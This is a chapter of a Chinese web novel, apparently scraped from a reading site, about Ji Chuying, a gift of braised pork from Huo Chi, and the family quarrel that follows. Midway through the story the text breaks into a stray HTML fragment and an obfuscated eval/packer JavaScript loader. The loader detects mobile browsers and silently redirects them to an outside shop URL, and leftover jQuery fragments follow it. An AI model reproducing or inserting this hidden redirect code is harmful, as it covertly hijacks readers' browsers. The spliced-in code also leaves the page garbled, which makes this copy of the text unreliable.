霍驰沉默,不知道在想什么。

    过了好一会儿,他开口:“我没有说话。”

    他补充:“你幻听了。”

    季初萤:我吗?

    霍驰认真地说:“你说让我排队之后,就在发呆。”

    “呃……”

    季初萤摆出向佐手势,一脸深沉:“我在想事情,思考人生什么的。”

    霍驰:“……”

    “那你思考完了吗?我还在排队。”

    季初萤:“噢噢。”

    她给自己装了半碗汤,把勺递过去。

    霍驰接过来盛了一勺。

    季初萤瞥了一眼,心想盛的啥玩意儿啊!

    清水一样,惨兮兮地漂着几点油星,连一丝蛋花都没有。

    季初萤忍了又忍,没忍住:“……你手法不对。”

    一看就是没有在食堂抢过饭的人。

    霍驰看她,心情还挺好的样子:“怎么对?”

    季初萤放下自己的碗。

    从霍驰手里接过汤勺,把勺子里的清汤倒回去。

    【起开,看姐给你露一手】

    霍驰笑笑,把空碗递上去。

    季初萤一勺探到锅底。

    然后像逮鱼一样,轻轻地、慢慢地往上抬。

    一勺浓厚的蛋汤倒进霍驰碗里。

    季初萤:【我真厉害】

    霍驰嘴角牵起一个深深的弧度。

    “有诀窍吗?”他问。

    季初萤下巴微扬:“传女不传男,传内不传外。”

    【一勺干到底,沿边慢慢起,心里不要慌,一慌全是汤!】

    霍驰低笑出声。

    他的声音本就低沉,还带着点微哑,笑起来更加明显。

    季初萤:【虽然我是声控,但休想勾引我】

    霍驰:“……”

    声控是什么?

    他低声说:“你的杯子,晚上我再给你。”

    .

    晚上,霍驰端着杯子轻轻敲了几下季家的大门。

    季初萤的屋离大门近,霍驰一敲她就听见了。

    她趿拉着鞋打开门。

    霍驰站在门外,身上一股清冽的皂香。

    他将杯子递过去。

    季初萤打着哈欠接过来。

    杯子摸着温热的,沉甸甸的。

    季初萤:“里面什么?”

    刚要打开杯盖,却被霍驰按住了手。

    “回到你屋再打开。”

    “哦拜拜。”季初萤边打哈欠边关上门。

    霍驰站在门外:拜拜?是什么?

    季初萤刚关上门,站在门后就打开了杯盖,想左右我?

    不听。

    【卧槽】

    【红烧肉!!】

    铺天盖地的困意瞬间就没了。

    “哟~拿的什么啊?”

    水井边突然传来莫桂兰的声音。

    季初萤盖上杯盖:“……你是鬼吗?”

    黑灯瞎火的,莫桂兰正在院子里洗衣服。

    莫桂兰:“谁给你送的杯子?卫恒杰那个毛头小子?”

    她声音尖细,让人一听就觉得烦躁。

    季初萤:“关你屁事。”

    莫桂兰不怀好意地笑了一声,天色昏暗,她没看见门口是谁,但听得清楚是个男人的声音,她扯着嗓子朝堂屋喊:“爹!初萤跟男人拉拉扯扯!”

    季初萤:“……”

    神经病啊。

    季老实穿着破破烂烂的老头衫出来了:“跟谁!”

    能不能出得起八百块?

    不能别来沾边。

    凌素云跟在后面小声劝:“别动气,别动气。”

    莫桂兰甩甩手上的水,笑得奸诈:“爹,初萤收男人的东西!”

    季老实一听,这还了得!

    今天在食堂吃饭,他就听人议论,说卫恒杰那个不检点的死孩子把自己的肉给了季初萤。

    卫恒杰家里有点小钱,但卫恒杰这小子说话算不得个屁。

    卫建光那个老东西,看不起季家,别说给八百了,他甚至都不想跟季家扯上关系。

    这门亲事成不了。

    成不了倒也没啥可惜的,但季初萤要是再跟卫恒杰不清不楚,以后说亲事都不好说!

    季老实指着季初萤怒骂:“你要是敢给我搞什么自由恋爱,我打断你的腿!”

    季初萤:?

    打断我的腿?

    看给你狂的吧,老头。

    莫桂兰假心假意,一副嫂子为你好的表情:“初萤,你眼皮子咋这么浅的,被人家一点肉渣子就哄住了!”

    季初萤掂量掂量手里满满一杯肉,很正经地说:“不是肉渣子,是大块的。”

    莫桂兰火上浇油:“爹,今天我还看见她用杯子偷偷装了一杯绿豆汤,不知道给哪个男人送去了。”

    她指着季初萤:“就她手里那个杯子!”

    季老实一听,气得头脑发蒙。

    他大喝道:“把那破杯子给我拿来!”

    季初萤抱紧:“凭什么给你啊!”

    我一口都没吃呢!

    “你拿不拿来!?”季老实火了,抄起顶门棍就要教训季初萤。

    季初萤倒不怕他,但她有点担心她跟季老实缠斗的时候,魔鬼兰这个不讲武德的会趁机偷吃她的肉。

    “你反了天了!”

    季老实目眦欲裂,举着棍子劈朝她。

    莫桂兰和凌素云吓得抱在一起,莫桂兰装的,她开心死了。

    季海龙季海涛听见声音,从屋里出来,但也没劝一句,都觉得季初萤活该。

    季初萤护着肉躲着棍,季老实甩了好几下,连她衣服边都没沾到。

    她正高兴,冷不丁脚下被人一绊。

    即使她很快反应过来,调整步伐想要稳住重心,还是没能刹住往前扑倒的惯性!

    西八。

    她竟遭此暗算!

    幸亏倒地之前她灵机一动,张大嘴,接住了一块肉。

    入口即烂,酥而不柴。

    像是砂锅炖的,柔滑软糯。

    还加了老冰糖,唇齿间都是咸甜的酱汁。

    绝了。

    美味。

    还想吃。

    当季老实看见她趴在地上,嘴里还在嚼着啥时,脑子里只有一个念头,她没救了!

    莫桂兰吸了吸鼻子:“啊,什么,好香?”

    香味钻进季老实鼻子,他愣了下。

    肉香,

    跟今天吃的白菜粉条炖猪肉不一样的肉香。

    这个一闻就是那种香掉牙的、浓郁的肉香。

    莫桂兰口水直流:“哪来的肉?”

    季初萤舔了舔嘴唇,魔鬼兰,你完了。

    季老实指着地上稀烂的肉,怒声质问:“季初萤!哪个男人给的!”

    没点见不得人的心思,会给一个女孩送这?难道还是卫恒杰那个小王八蛋?

    季初萤不能自己心痛,要痛大家一起痛。

    她说:“是霍驰给的啊,他妈让他送来给咱们全家吃的。”

    季老实始料未及:“霍驰?”

    两家住的近,张春华和凌素云处得好,经常互相送点东西。

    这次,竟然送了满满一杯肉。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613908|205878||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    季初萤把杯子倒扣过来,里面什么都没了,连汤都撒得干干净净:“好了,这下都不用吃了。”

    莫桂兰:“……”

    她狠狠咽了下口水。

    这么好的东西,都糟蹋了!

    季老实:“你不早说!”

    “爹,你上来就要揍我,我说是肉,大块的肉,你不听啊!”

    季老实:“……”

    季初萤:“嫂子,都怪你!要不是你瞎嚷嚷,肉能撒了?”

    莫桂兰:“我……”

    谁知道那里面是红烧肉啊!

    还以为是个空杯子。

    不是,霍驰他们家有病啊,为什么要用杯子装肉?为什么不用盘子?

    好心痛!

    凌素云:“那啥,我捡起来洗洗,还能吃。”

    季初萤降下一道雷:“沾鸡屎了。”

    谁踏马都别想吃。

    季家众人:“……”

    凌素云不抛弃不放弃:“……那也没事,能吃。”

    季老实火大:“吃什么吃!”

    活不起了。

    传出去丢死人吗。

    季海涛气得跺脚:“大嫂,你非得挑事!多好的肉!”

    季海龙冷声呵斥:“莫桂兰,你是不是吃饱了撑的!?”

    莫桂兰眼神躲闪:“我也不知道那里边是肉啊……”

    季老实一脚踢翻了洗衣盆,怒骂:“滚回屋去!”

    莫桂兰灰溜溜地回屋了。

    凌素云到底是舍不得把肉扔了,捡回来洗了又洗,洗得都没肉味了,第二天早上煮了一锅肉粥。

    季老实骂骂咧咧,喝了三碗。

    季海龙忍着恶心喝了一碗。

    季老实趁机说教:“你们年轻一辈啊,就是没经历苦日子!饿得啃树皮、抠墙泥吃,就知道一点鸡屎算不得啥了。”

    季海涛:“哕——”

    “爹你别说了,我更喝不下去了!哕——”

    季初萤拍着季海涛的肩膀胡诌:“鸡屎是中药,专治干哕,你多喝点。”

    季海涛:“你放屁,哕——”

    季老实摔筷子骂道:“不吃就滚行吗?弄得别人都没法吃了。”

    季海涛呕着离开饭桌。

    桌子上最安静的就是莫桂兰了。

    她一声不敢吭,生怕说着说着又提起是她害得大家吃鸡屎肉。

    所以她装了一早上鹌鹑。

    季初萤凉凉地扫了她一眼。

    你我本无仇,全因一碗肉。

    桀桀桀!魔鬼兰!

    吃完饭,莫桂兰想要将功折罪,主动揽了洗碗的活。

    两只鸡从后院溜达到前院,咕咕几声,时不时用爪子扒拉几下土。

    莫桂兰看着气不打一处来,她在干活,鸡倒是自在。

    上次把她的衣服踩烂了,昨天还脏了一碗肉!

    害得他们早上喝——哕!

    不能想,想想就要吐。

    莫桂兰咬牙切齿。

    这两只该死的鸡,要不是还得留着下蛋,她早就宰了它们。

    她舀了一碗水,愤恨地往两只鸡鸡头上泼。

    两只鸡被水淋得乱跑,边跑还边拉了两坨鸡屎。

    莫桂兰:踏马!

    真想剁了它们。

    两只鸡被她撵得惊慌失措,埋着小脑袋钻进灶房。

    正巧季初萤从自己屋子出来,准备去上工。

    莫桂兰没好脸色地命令:“鸡进灶房了,撵出来!”

    季初萤内心冷笑。

    莫桂兰:“杵在那像尊神,鸡跑进去了,眼瞎看不见啊?”